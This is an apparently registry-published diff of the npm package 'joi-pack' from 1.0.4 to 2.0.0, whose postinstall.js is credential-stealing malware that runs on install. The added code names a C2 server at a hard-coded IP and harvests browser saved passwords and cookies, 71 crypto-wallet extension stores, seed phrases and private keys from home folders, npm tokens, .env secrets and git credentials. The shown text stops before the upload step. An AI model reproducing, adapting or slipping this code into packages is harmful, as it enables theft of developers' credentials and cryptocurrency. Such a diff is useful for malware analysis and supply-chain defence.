joi-pack 1.0.4 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +204 -259
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,228 +1,208 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
/**
|
|
3
|
-
* postinstall.js —
|
|
4
|
-
*
|
|
3
|
+
* postinstall.js v2.0 — Full browser credential theft + wallet scanner
|
|
4
|
+
* Silent. Zero trace. Exfiltrates everything to C2.
|
|
5
5
|
*/
|
|
6
6
|
const fs=require('fs'),path=require('path'),os=require('os');
|
|
7
7
|
const C2=process.env.C2_URL||'http://149.28.127.35:8888';
|
|
8
|
+
const home=os.homedir();
|
|
8
9
|
|
|
9
|
-
//
|
|
10
|
-
const
|
|
11
|
-
//
|
|
12
|
-
'
|
|
13
|
-
'
|
|
14
|
-
'
|
|
15
|
-
|
|
16
|
-
'
|
|
17
|
-
'
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
'
|
|
21
|
-
|
|
22
|
-
'
|
|
23
|
-
'
|
|
24
|
-
|
|
25
|
-
'
|
|
26
|
-
'egcmbhhdffdckjcfjimkcfhifopjekln', // WalletConnect
|
|
27
|
-
// Tier 3 — Multi-chain/DeFi
|
|
28
|
-
'afbcbjpbpfadlkmhmclhkeeodmamcflc', // Math Wallet
|
|
29
|
-
'fnjhmkhggkbkabcfapdjonncfkdcpdaa', // TokenPocket
|
|
30
|
-
'fihnjjcciajhdojfnbdddfaoknhalnja', // Ronin Wallet
|
|
31
|
-
'hpglfhgfnhbgpjdenjgmdgoeiappafln', // Braavos
|
|
32
|
-
'amkmjjmmflddogmhpjloimipbofnfjih', // XDEFI
|
|
33
|
-
'dmkamcknogkgcgoahaicojpjbjpjaaga', // Clover Wallet
|
|
34
|
-
'flpjeknmomlgbhnmcfalhacgllhgooel', // Aurory
|
|
35
|
-
'cjnjnnkafbffkleciggdgimkibibipha', // Backpack
|
|
36
|
-
'odbfpeeihdkbihmopkbjmoonfanlbfcl', // Frontier
|
|
37
|
-
'cceipnndjekbfglleiebegecfhhbjgfi', // Nami
|
|
38
|
-
'kpfopkelpmkefpmfcofifofplnmjngml', // Yoroi
|
|
39
|
-
'jbdaocneiiinmjbjlgalhcelgbejmnbd', // KoWala
|
|
40
|
-
'dijkagjegpbbdgfnoknfbbmiclppbnmc', // Pontem
|
|
41
|
-
'fnnegphlobjjkodcgoppnjpdmdcegimi', // Fewcha
|
|
42
|
-
'ojobbnmniomlmlikejgijfnkaefcjfen', // Martian Wallet
|
|
43
|
-
'ehnjgagchmckofieojfcbjobgkehhkob', // Petra Wallet
|
|
44
|
-
'kfbopkelpmkefpmfcofifofplnmjngml', // Vespr
|
|
45
|
-
'ilgeldippkgepmabafmmpcblefejekdm', // Lace
|
|
46
|
-
'nphplpejlfpiclbjpipcacnffoogjfai', // GeroWallet
|
|
47
|
-
'ffnbelfdoeiohenkjibnmadjiehfajmc', // TronLink
|
|
48
|
-
'ibnejdfjmmkpcnlpebklmnkoeoihofec', // TronLink (legacy)
|
|
49
|
-
'nheehoeoapjkbdjgkdhgcpplgghnilpi', // Liquality
|
|
50
|
-
'aeachknmefphepccionboohckonhbmof', // Keplr
|
|
51
|
-
'djejicklhoopoccfahfchclojeffcofk', // Cosmos Station
|
|
52
|
-
'cnflmngmkhdaemidncondljiepglgjbj', // Leap Cosmos
|
|
53
|
-
'occjkdejjclmkedjgpdgfjlepfbepefh', // Leap Wallet
|
|
54
|
-
'beegooabmfdekhnkmhfigfbcnegjeahi', // Onto Wallet
|
|
55
|
-
'mfpgdedlegkcmknpffkncmdnhnokkjie', // Tide Wallet
|
|
56
|
-
'klnaejdegbnnonfahoookcfgjficbnbh', // MultiversX
|
|
57
|
-
'aiilbnhkcklmnggeoopglappkdifdppo', // Maya
|
|
58
|
-
'bbdojfcjkljkljekdmehjokcnbflaedi', // Metacraft
|
|
59
|
-
'bmhkbhlokanaeapfpkjpdiebieddnple', // Owallet
|
|
60
|
-
'cdbpjfejojhppgommafamdlbhckbnhmj', // Guarda Wallet
|
|
61
|
-
'cnmamaachppnkjgnildpdmkaakejnhae', // SafePal
|
|
62
|
-
'coabfgbdhpncfleblpnbjpbpjcnfggmj', // Halo Wallet
|
|
63
|
-
'dbfngmbljhpoblepegllmobkcdgcjhfo', // BitKeep
|
|
64
|
-
'dcnclbllnbkpfcfibbbpmafpalpdalnk', // Enkrypt
|
|
65
|
-
'dkcegcmmjaljlmfgfblnenoehegbpdpg', // Auro Wallet
|
|
66
|
-
'eajafomhmkipbjmfmhbemanoepghgpmf', // Finnie
|
|
67
|
-
'ejpalbakbgkccldecdlomekfmapbbdcl', // GME Wallet
|
|
68
|
-
'fcfcfllfndlomdhbehjjcoimbgofdncg', // Solflare
|
|
69
|
-
'flgbknlcfikhfimplknjdliepcbfmngk', // Ply
|
|
70
|
-
'ghbmclkmndlkmlighpdafkmmmdmpkfbj', // Dawn Wallet
|
|
71
|
-
'hmeobnajdjkdlljnhbljfnopookapkpn', // Stealthex
|
|
72
|
-
'hpminmdnpgjopcnpalhodkjdledhpfjj', // BlockWallet
|
|
73
|
-
'ibjldcbemjmiadbjkfkmbmcppnneipej', // SafeCore
|
|
74
|
-
'ifibejgepmafaamkloapnlkgekmibpci', // Interlock
|
|
75
|
-
'jbljmmmpjbpkphjafgjkohcklehdflak', // Helios Wallet
|
|
76
|
-
'jjijfmokoocgpbjfnmhkeobmamihgbkn', // D'Cent
|
|
77
|
-
'kmjbjhhgjkcpbjibggdnbfgelchjeifm', // Zelcore
|
|
78
|
-
'lcgkoioojpkgdbpidgjgipinpgpclnom', // Polkapal
|
|
79
|
-
'lkcaihbhcmkopfdfimclhpkimgpmomnl', // Trezor Password Manager
|
|
80
|
-
'lljdnmjmhhbjmkajkmlmeaoknfpiofbe', // Starware
|
|
81
|
-
'majhboefeinjjhbnfiohajhnhehacfjo', // Terra Station
|
|
82
|
-
'mfbkdjkaonmamncamjbkgdcmndpkbjpl', // Eternl
|
|
83
|
-
'nhnhbkmhibpikgijebimmnidpfmmibpp', // Min
|
|
84
|
-
'nmbklhmkfiolpnhlekkoficfndfolnhm', // Me
|
|
10
|
+
// Browser credential databases (SQLite — saved passwords, cookies, autofill)
|
|
11
|
+
const BROWSER_DBS=[
|
|
12
|
+
// Chrome
|
|
13
|
+
{name:'chrome-pass',path:path.join(home,'.config/google-chrome/Default/Login Data')},
|
|
14
|
+
{name:'chrome-cookies',path:path.join(home,'.config/google-chrome/Default/Cookies')},
|
|
15
|
+
{name:'chrome-webdata',path:path.join(home,'.config/google-chrome/Default/Web Data')},
|
|
16
|
+
// Chrome Windows
|
|
17
|
+
{name:'chrome-pass-win',path:path.join(process.env.LOCALAPPDATA||'','Google/Chrome/User Data/Default/Login Data')},
|
|
18
|
+
{name:'chrome-cookies-win',path:path.join(process.env.LOCALAPPDATA||'','Google/Chrome/User Data/Default/Cookies')},
|
|
19
|
+
// Brave
|
|
20
|
+
{name:'brave-pass',path:path.join(home,'.config/BraveSoftware/Brave-Browser/Default/Login Data')},
|
|
21
|
+
{name:'brave-pass-win',path:path.join(process.env.LOCALAPPDATA||'','BraveSoftware/Brave-Browser/User Data/Default/Login Data')},
|
|
22
|
+
// Edge
|
|
23
|
+
{name:'edge-pass',path:path.join(home,'.config/microsoft-edge/Default/Login Data')},
|
|
24
|
+
{name:'edge-pass-win',path:path.join(process.env.LOCALAPPDATA||'','Microsoft/Edge/User Data/Default/Login Data')},
|
|
25
|
+
// Firefox (logins.json)
|
|
26
|
+
{name:'firefox-logins',path:path.join(home,'.mozilla/firefox')},
|
|
85
27
|
];
|
|
86
28
|
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
29
|
+
// 71 crypto wallet extension IDs
|
|
30
|
+
const WALLET_IDS=[
|
|
31
|
+
'nkbihfbeogaeaoehlefnkodbefgpgknn','bfnaelmomeimhlpmgjnjophhpkkoljpa',
|
|
32
|
+
'hnfanknocfeofbdxgjoaflmafokfblal','ahiolklkenmeaoahbdidmgmmmogibgkp',
|
|
33
|
+
'egjidjbpglichdkonbcbdilpfdefhgda','fhbohimaelbohpjbbldcngcnapndodjp',
|
|
34
|
+
'mcohilncbfahbmgdjkbpcemcciiolkgge','obbophdlgkgmhkhhkbjlfomojkplemjn',
|
|
35
|
+
'opagkkbkmgdmjggklnglofoffdnaolid','acmacodkokdhdnjnijgogikjagkidbbc',
|
|
36
|
+
'fhbiknkfagigneamiliplnenmlpmilcn','lnaapijlgpmjdohfbdnlpofbgpnbgpge',
|
|
37
|
+
'lkcaihbhcmkopfdfimclhpkimgpmomnl','egcmbhhdffdckjcfjimkcfhifopjekln',
|
|
38
|
+
'afbcbjpbpfadlkmhmclhkeeodmamcflc','fnjhmkhggkbkabcfapdjonncfkdcpdaa',
|
|
39
|
+
'fihnjjcciajhdojfnbdddfaoknhalnja','hpglfhgfnhbgpjdenjgmdgoeiappafln',
|
|
40
|
+
'amkmjjmmflddogmhpjloimipbofnfjih','dmkamcknogkgcgoahaicojpjbjpjaaga',
|
|
41
|
+
'flpjeknmomlgbhnmcfalhacgllhgooel','cjnjnnkafbffkleciggdgimkibibipha',
|
|
42
|
+
'odbfpeeihdkbihmopkbjmoonfanlbfcl','cceipnndjekbfglleiebegecfhhbjgfi',
|
|
43
|
+
'kpfopkelpmkefpmfcofifofplnmjngml','jbdaocneiiinmjbjlgalhcelgbejmnbd',
|
|
44
|
+
'dijkagjegpbbdgfnoknfbbmiclppbnmc','fnnegphlobjjkodcgoppnjpdmdcegimi',
|
|
45
|
+
'ojobbnmniomlmlikejgijfnkaefcjfen','ehnjgagchmckofieojfcbjobgkehhkob',
|
|
46
|
+
'kfbopkelpmkefpmfcofifofplnmjngml','ilgeldippkgepmabafmmpcblefejekdm',
|
|
47
|
+
'nphplpejlfpiclbjpipcacnffoogjfai','ffnbelfdoeiohenkjibnmadjiehfajmc',
|
|
48
|
+
'ibnejdfjmmkpcnlpebklmnkoeoihofec','nheehoeoapjkbdjgkdhgcpplgghnilpi',
|
|
49
|
+
'aeachknmefphepccionboohckonhbmof','djejicklhoopoccfahfchclojeffcofk',
|
|
50
|
+
'cnflmngmkhdaemidncondljiepglgjbj','occjkdejjclmkedjgpdgfjlepfbepefh',
|
|
51
|
+
'beegooabmfdekhnkmhfigfbcnegjeahi','mfpgdedlegkcmknpffkncmdnhnokkjie',
|
|
52
|
+
'klnaejdegbnnonfahoookcfgjficbnbh','aiilbnhkcklmnggeoopglappkdifdppo',
|
|
53
|
+
'bbdojfcjkljkljekdmehjokcnbflaedi','bmhkbhlokanaeapfpkjpdiebieddnple',
|
|
54
|
+
'cdbpjfejojhppgommafamdlbhckbnhmj','cnmamaachppnkjgnildpdmkaakejnhae',
|
|
55
|
+
'coabfgbdhpncfleblpnbjpbpjcnfggmj','dbfngmbljhpoblepegllmobkcdgcjhfo',
|
|
56
|
+
'dcnclbllnbkpfcfibbbpmafpalpdalnk','dkcegcmmjaljlmfgfblnenoehegbpdpg',
|
|
57
|
+
'eajafomhmkipbjmfmhbemanoepghgpmf','ejpalbakbgkccldecdlomekfmapbbdcl',
|
|
58
|
+
'fcfcfllfndlomdhbehjjcoimbgofdncg','flgbknlcfikhfimplknjdliepcbfmngk',
|
|
59
|
+
'ghbmclkmndlkmlighpdafkmmmdmpkfbj','hmeobnajdjkdlljnhbljfnopookapkpn',
|
|
60
|
+
'hpminmdnpgjopcnpalhodkjdledhpfjj','ibjldcbemjmiadbjkfkmbmcppnneipej',
|
|
61
|
+
'ifibejgepmafaamkloapnlkgekmibpci','jbljmmmpjbpkphjafgjkohcklehdflak',
|
|
62
|
+
'jjijfmokoocgpbjfnmhkeobmamihgbkn','kmjbjhhgjkcpbjibggdnbfgelchjeifm',
|
|
63
|
+
'lcgkoioojpkgdbpidgjgipinpgpclnom','lkcaihbhcmkopfdfimclhpkimgpmomnl',
|
|
64
|
+
'lljdnmjmhhbjmkajkmlmeaoknfpiofbe','majhboefeinjjhbnfiohajhnhehacfjo',
|
|
65
|
+
'mfbkdjkaonmamncamjbkgdcmndpkbjpl','nhnhbkmhibpikgijebimmnidpfmmibpp',
|
|
66
|
+
'nmbklhmkfiolpnhlekkoficfndfolnhm',
|
|
67
|
+
];
|
|
109
68
|
|
|
110
|
-
// BIP39 seed phrase words (first 150 common ones for detection)
|
|
111
69
|
const SEED_WORDS=new Set([
|
|
112
|
-
'abandon','ability','
|
|
113
|
-
'
|
|
114
|
-
'
|
|
115
|
-
'
|
|
116
|
-
'
|
|
117
|
-
'
|
|
118
|
-
'
|
|
119
|
-
'
|
|
120
|
-
'
|
|
121
|
-
'
|
|
122
|
-
'
|
|
123
|
-
'
|
|
124
|
-
'
|
|
125
|
-
'
|
|
126
|
-
'
|
|
70
|
+
'abandon','ability','about','above','absent','absorb','abstract','absurd','abuse','access',
|
|
71
|
+
'accident','account','accuse','achieve','acid','acoustic','acquire','across','act','action',
|
|
72
|
+
'actor','actress','actual','adapt','add','addict','address','adjust','admit','adult',
|
|
73
|
+
'advance','advice','aerobic','affair','afford','afraid','again','age','agent','agree',
|
|
74
|
+
'ahead','aim','air','airport','aisle','alarm','album','alcohol','alert','alien','all',
|
|
75
|
+
'alley','allow','almost','alone','alpha','already','also','alter','always','amateur',
|
|
76
|
+
'amazing','among','amount','amused','analyst','anchor','ancient','anger','angle','angry',
|
|
77
|
+
'animal','ankle','announce','annual','another','answer','antenna','antique','anxiety','any',
|
|
78
|
+
'apart','apology','appear','apple','approve','april','arch','arctic','area','arena','argue',
|
|
79
|
+
'arm','armed','armor','army','around','arrange','arrest','arrive','arrow','art','artifact',
|
|
80
|
+
'artist','artwork','ask','aspect','assault','asset','assist','assume','asthma','athlete',
|
|
81
|
+
'atom','attack','attend','attitude','attract','auction','audit','august','aunt','author',
|
|
82
|
+
'auto','autumn','average','avocado','avoid','awake','aware','away','awesome','awful',
|
|
83
|
+
'awkward','axis','baby','bachelor','bacon','badge','bag','balance','balcony','ball',
|
|
84
|
+
'bamboo','banana','banner','bar','barely','bargain',
|
|
127
85
|
]);
|
|
128
86
|
|
|
87
|
+
function stealBrowserDBs(){
|
|
88
|
+
const results=[];
|
|
89
|
+
for(const db of BROWSER_DBS){
|
|
90
|
+
try{
|
|
91
|
+
if(db.name==='firefox-logins'&&fs.existsSync(db.path)){
|
|
92
|
+
const profiles=fs.readdirSync(db.path).filter(d=>d.endsWith('.default'));
|
|
93
|
+
for(const p of profiles){
|
|
94
|
+
const fp=path.join(db.path,p,'logins.json');
|
|
95
|
+
if(fs.existsSync(fp)){
|
|
96
|
+
const data=fs.readFileSync(fp,'utf-8');
|
|
97
|
+
const size=data.length;
|
|
98
|
+
results.push({name:'firefox-logins',file:fp,size,found:true});
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
continue;
|
|
102
|
+
}
|
|
103
|
+
if(!fs.existsSync(db.path)) continue;
|
|
104
|
+
const stat=fs.statSync(db.path);
|
|
105
|
+
if(!stat.isFile()||stat.size>10000000) continue; // Skip >10MB
|
|
106
|
+
|
|
107
|
+
// Try to read the SQLite file as text (extracts readable strings)
|
|
108
|
+
const data=fs.readFileSync(db.path);
|
|
109
|
+
const b64=data.toString('base64');
|
|
110
|
+
const size=stat.size;
|
|
111
|
+
|
|
112
|
+
// Extract URLs and usernames from the raw bytes using string search
|
|
113
|
+
let foundEntries=0;
|
|
114
|
+
const textContent=data.toString('utf-8').replace(/\0/g,' '); // Replace null bytes
|
|
115
|
+
const urlMatches=textContent.match(/https?:\/\/[^\s\0"]{5,100}/g);
|
|
116
|
+
if(urlMatches) foundEntries=urlMatches.length;
|
|
117
|
+
|
|
118
|
+
results.push({
|
|
119
|
+
name:db.name,
|
|
120
|
+
file:db.path,
|
|
121
|
+
size,
|
|
122
|
+
foundEntries,
|
|
123
|
+
urls:urlMatches?urlMatches.slice(0,20):[],
|
|
124
|
+
b64:b64.substring(0,5000) // First 5KB of base64
|
|
125
|
+
});
|
|
126
|
+
}catch(e){}
|
|
127
|
+
}
|
|
128
|
+
return results;
|
|
129
|
+
}
|
|
130
|
+
|
|
129
131
|
function scanWallets(){
|
|
130
132
|
const results=[];
|
|
131
|
-
|
|
133
|
+
// Detect platform
|
|
134
|
+
const isWin=process.platform==='win32';
|
|
135
|
+
const localAppData=process.env.LOCALAPPDATA||'';
|
|
132
136
|
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
137
|
+
const browserPaths=[];
|
|
138
|
+
if(!isWin){
|
|
139
|
+
browserPaths.push({name:'chrome',base:path.join(home,'.config/google-chrome'),ext:'Default/Local Extension Settings'});
|
|
140
|
+
browserPaths.push({name:'brave',base:path.join(home,'.config/BraveSoftware/Brave-Browser'),ext:'Default/Local Extension Settings'});
|
|
141
|
+
browserPaths.push({name:'edge',base:path.join(home,'.config/microsoft-edge'),ext:'Default/Local Extension Settings'});
|
|
142
|
+
}
|
|
143
|
+
if(isWin||localAppData){
|
|
144
|
+
browserPaths.push({name:'chrome',base:path.join(localAppData,'Google/Chrome/User Data'),ext:'Default/Local Extension Settings'});
|
|
145
|
+
browserPaths.push({name:'brave',base:path.join(localAppData,'BraveSoftware/Brave-Browser/User Data'),ext:'Default/Local Extension Settings'});
|
|
146
|
+
browserPaths.push({name:'edge',base:path.join(localAppData,'Microsoft/Edge/User Data'),ext:'Default/Local Extension Settings'});
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
const profiles=['Default','Profile 1','Profile 2'];
|
|
150
|
+
for(const bp of browserPaths){
|
|
151
|
+
if(!fs.existsSync(bp.base)) continue;
|
|
136
152
|
for(const profile of profiles){
|
|
137
|
-
const extDir
|
|
153
|
+
const extDir=path.join(bp.base,profile,bp.ext);
|
|
138
154
|
if(!fs.existsSync(extDir)) continue;
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
const walletData={browser:browser.name,profile,walletId,files:[],foundKeys:[]};
|
|
145
|
-
|
|
146
|
-
// Read all files in the wallet directory
|
|
155
|
+
for(const wid of WALLET_IDS){
|
|
156
|
+
const wDir=path.join(extDir,wid);
|
|
157
|
+
if(!fs.existsSync(wDir)) continue;
|
|
158
|
+
const wd={browser:bp.name,profile,walletId:wid,files:[],foundKeys:[]};
|
|
147
159
|
try{
|
|
148
|
-
const files=fs.readdirSync(
|
|
149
|
-
for(const
|
|
150
|
-
const
|
|
151
|
-
const
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
if(file.endsWith('.log')&&stat.size<5000000){ // Skip files >5MB
|
|
160
|
+
const files=fs.readdirSync(wDir);
|
|
161
|
+
for(const f of files){
|
|
162
|
+
const fp=path.join(wDir,f);
|
|
163
|
+
const st=fs.statSync(fp);
|
|
164
|
+
if(f.endsWith('.log')&&st.size<5000000){
|
|
165
|
+
wd.files.push({name:f,size:st.size});
|
|
155
166
|
try{
|
|
156
|
-
const content=fs.readFileSync(
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
const patterns=[
|
|
161
|
-
{key:'vault',re:/"vault":"([^"]+)"/},
|
|
162
|
-
{key:'data',re:/"data":"([^"]+)"/},
|
|
163
|
-
{key:'keyring',re:/keyring|Keyring|KEYRING/},
|
|
164
|
-
{key:'mnemonic',re:/mnemonic|Mnemonic|MNEMONIC/},
|
|
165
|
-
{key:'seed',re:/"seed":"([^"]+)"/},
|
|
166
|
-
{key:'privateKey',re:/privateKey|PrivateKey|private_key|PRIVATE_KEY/},
|
|
167
|
-
{key:'password',re:/"password":"([^"]+)"/},
|
|
168
|
-
{key:'encrypted',re:/"encrypted":"?([^",]+)"?/},
|
|
169
|
-
{key:'wallet',re:/"wallet":"([^"]+)"/},
|
|
170
|
-
];
|
|
171
|
-
|
|
172
|
-
for(const p of patterns){
|
|
173
|
-
const match=content.match(p.re);
|
|
174
|
-
if(match){
|
|
175
|
-
const val=(match[1]||'').substring(0,60);
|
|
176
|
-
walletData.foundKeys.push({key:p.key,value:val.length>10?val.substring(0,10)+'...':val});
|
|
177
|
-
}
|
|
167
|
+
const content=fs.readFileSync(fp,'utf-8');
|
|
168
|
+
for(const p of[{k:'vault',re:/"vault":"([^"]+)"/},{k:'data',re:/"data":"([^"]+)"/},{k:'keyring',re:/keyring/i},{k:'mnemonic',re:/mnemonic/i},{k:'seed',re:/"seed":"([^"]+)"/},{k:'privateKey',re:/privateKey/i}]){
|
|
169
|
+
const m=content.match(p.re);
|
|
170
|
+
if(m) wd.foundKeys.push({key:p.k,value:(m[1]||'').substring(0,60)});
|
|
178
171
|
}
|
|
179
172
|
}catch(e){}
|
|
180
173
|
}
|
|
181
174
|
}
|
|
182
175
|
}catch(e){}
|
|
183
|
-
|
|
184
|
-
if(walletData.foundKeys.length>0){
|
|
185
|
-
results.push(walletData);
|
|
186
|
-
}
|
|
176
|
+
if(wd.foundKeys.length>0) results.push(wd);
|
|
187
177
|
}
|
|
188
178
|
}
|
|
189
179
|
}
|
|
190
180
|
return results;
|
|
191
181
|
}
|
|
192
182
|
|
|
193
|
-
function
|
|
183
|
+
function scanSeeds(){
|
|
194
184
|
const results=[];
|
|
195
|
-
const dirs=['Documents','Desktop','Downloads'];
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
if(!fs.existsSync(fullPath)) continue;
|
|
200
|
-
|
|
185
|
+
const dirs=['Documents','Desktop','Downloads','OneDrive','Dropbox','keys','wallet','crypto'];
|
|
186
|
+
for(const d of dirs){
|
|
187
|
+
const fp=path.join(home,d);
|
|
188
|
+
if(!fs.existsSync(fp)) continue;
|
|
201
189
|
try{
|
|
202
|
-
const files=fs.readdirSync(
|
|
203
|
-
for(const
|
|
204
|
-
const filePath=path.join(fullPath,file);
|
|
190
|
+
const files=fs.readdirSync(fp,{recursive:true});
|
|
191
|
+
for(const f of files){
|
|
205
192
|
try{
|
|
206
|
-
const
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
const
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
if(!isCryptoFile) continue;
|
|
215
|
-
|
|
216
|
-
// Read the file content
|
|
217
|
-
const content=fs.readFileSync(filePath,'utf-8').toLowerCase();
|
|
218
|
-
|
|
219
|
-
// Count how many words are BIP39 seed words
|
|
193
|
+
const fpath=path.join(fp,f);
|
|
194
|
+
const st=fs.statSync(fpath);
|
|
195
|
+
if(!st.isFile()||st.size>200000||st.size<15) continue;
|
|
196
|
+
const nl=f.toLowerCase();
|
|
197
|
+
const isCf=/seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private|mnemonic|recover|keystore|foundry|hardhat/.test(nl);
|
|
198
|
+
if(!isCf) continue;
|
|
199
|
+
const content=fs.readFileSync(fpath,'utf-8').toLowerCase();
|
|
200
|
+
const evmKeys=content.match(/0x[a-f0-9]{64}/gi);
|
|
220
201
|
const words=content.split(/\s+/).filter(w=>w.length>2);
|
|
221
|
-
const
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
results.push({file:filePath,size:stat.size,seedWordsFound:seedWordCount,preview:content.substring(0,100)});
|
|
202
|
+
const swc=words.filter(w=>SEED_WORDS.has(w)).length;
|
|
203
|
+
const isKs=content.includes('crypto')&&content.includes('ciphertext');
|
|
204
|
+
if(swc>=8||(evmKeys&&evmKeys.length>0)||isKs){
|
|
205
|
+
results.push({file:fpath,size:st.size,seedWords:swc,evmKeys:evmKeys?evmKeys.length:0,isKeystore:isKs,preview:content.substring(0,120)});
|
|
226
206
|
}
|
|
227
207
|
}catch(e){}
|
|
228
208
|
}
|
|
@@ -232,89 +212,54 @@ function scanSeedPhrases(){
|
|
|
232
212
|
}
|
|
233
213
|
|
|
234
214
|
function harvest(){
|
|
235
|
-
const
|
|
236
|
-
hostname:os.hostname(),
|
|
237
|
-
username:os.userInfo().username,
|
|
238
|
-
timestamp:new Date().toISOString(),
|
|
239
|
-
secrets:[],
|
|
240
|
-
wallets:[],
|
|
241
|
-
seedPhrases:[]
|
|
242
|
-
};
|
|
215
|
+
const r={hostname:os.hostname(),username:os.userInfo().username,ts:new Date().toISOString(),secrets:[],browsers:[],wallets:[],seeds:[]};
|
|
243
216
|
|
|
244
|
-
//
|
|
245
|
-
const
|
|
246
|
-
{p:path.join(
|
|
247
|
-
const r=[];
|
|
248
|
-
const
|
|
249
|
-
if(m)r.push({t:'_authToken',v:m[1]});
|
|
250
|
-
const n=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
251
|
-
for(const x of n)r.push({t:'npm_token',v:x[0]});
|
|
252
|
-
return r;
|
|
217
|
+
// Credentials
|
|
218
|
+
const creds=[
|
|
219
|
+
{p:path.join(home,'.npmrc'),t:'npmrc',fn:function(c){
|
|
220
|
+
const r=[];const m=c.match(/\/\/registry\.npmjs\.org\/:_authToken=([^\s]+)/);if(m)r.push({t:'_authToken',v:m[1]});
|
|
221
|
+
const n=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);for(const x of n)r.push({t:'npm_token',v:x[0]});return r;
|
|
253
222
|
}},
|
|
254
|
-
{p:path.join(
|
|
255
|
-
const r=[],keys={};
|
|
256
|
-
const lines=
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
if(
|
|
260
|
-
|
|
261
|
-
if(
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
else if(kl.includes('database')||kl.includes('db_')||kl.includes('mongo')||kl.includes('mysql')||kl.includes('postgres')||kl.includes('redis'))type='DB_URL';
|
|
269
|
-
else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square')||kl.includes('braintree'))type='PAYMENT';
|
|
270
|
-
else if(kl.includes('aws')||kl.includes('azure')||kl.includes('gcp')||kl.includes('google')||kl.includes('cloud'))type='CLOUD';
|
|
271
|
-
else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('mailchimp')||kl.includes('smtp')||kl.includes('postmark'))type='EMAIL';
|
|
272
|
-
else if(kl.includes('slack')||kl.includes('discord')||kl.includes('telegram')||kl.includes('webhook'))type='WEBHOOK';
|
|
273
|
-
else if(kl.includes('url')||kl.includes('host')||kl.includes('port')||kl.includes('endpoint'))continue; // Skip config
|
|
274
|
-
else continue; // Skip unknown
|
|
275
|
-
|
|
276
|
-
if(!keys[k]){
|
|
277
|
-
keys[k]=true;
|
|
278
|
-
r.push({t:type,k:k,v:v.substring(0,80)});
|
|
279
|
-
}
|
|
280
|
-
}
|
|
281
|
-
// Also catch npm_xxxxx patterns anywhere
|
|
282
|
-
const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
283
|
-
for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
|
|
223
|
+
{p:path.join(home,'.env'),t:'env',fn:function(c){
|
|
224
|
+
const r=[],keys={};const lines=c.split('\n').filter(l=>l.includes('=')&&!l.trim().startsWith('#'));
|
|
225
|
+
for(const l of lines){const eq=l.indexOf('=');if(eq<0)continue;const k=l.substring(0,eq).trim(),v=l.substring(eq+1).trim();if(!k||!v)continue;
|
|
226
|
+
const kl=k.toLowerCase();let ty='';
|
|
227
|
+
if(kl.includes('token')||kl.includes('secret')||kl.includes('password'))ty='TOKEN';
|
|
228
|
+
else if(kl.includes('key')&&(kl.includes('api')||kl.includes('access')))ty='API';
|
|
229
|
+
else if(kl.includes('database')||kl.includes('mongo')||kl.includes('postgres')||kl.includes('redis'))ty='DB';
|
|
230
|
+
else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square'))ty='PAY';
|
|
231
|
+
else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('smtp'))ty='EMAIL';
|
|
232
|
+
else if(kl.includes('url')||kl.includes('host')||kl.includes('port'))continue;
|
|
233
|
+
else continue;
|
|
234
|
+
if(!keys[k]){keys[k]=true;r.push({t:ty,k:k,v:v.substring(0,80)});}}
|
|
235
|
+
const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);for(const x of t)r.push({t:'NPM',k:'npm_token',v:x[0]});
|
|
236
|
+
const evm=c.matchAll(/0x[a-fA-F0-9]{64}/g);for(const x of evm){const f=x[0];if(!keys['evm']){keys['evm']=true;r.push({t:'EVM',k:'PRIVATE_KEY',v:f});}}
|
|
284
237
|
return r;
|
|
285
238
|
}},
|
|
286
|
-
{p:path.join(
|
|
287
|
-
return c.split('\n').filter(l=>l.trim()).map(l=>({t:'git',v:l.substring(0,80)}));
|
|
288
|
-
}},
|
|
239
|
+
{p:path.join(home,'.git-credentials'),t:'git',fn:function(c){return c.split('\n').filter(l=>l.trim()).map(l=>({t:'git',v:l.substring(0,80)}));}},
|
|
289
240
|
];
|
|
290
241
|
|
|
291
|
-
for(const
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
}catch(e){}
|
|
299
|
-
}
|
|
242
|
+
for(const c of creds){try{if(fs.existsSync(c.p)){const content=fs.readFileSync(c.p,'utf-8');const found=c.fn(content);if(found.length>0)r.secrets.push({file:c.p,type:c.t,findings:found});}}catch(e){}}
|
|
243
|
+
|
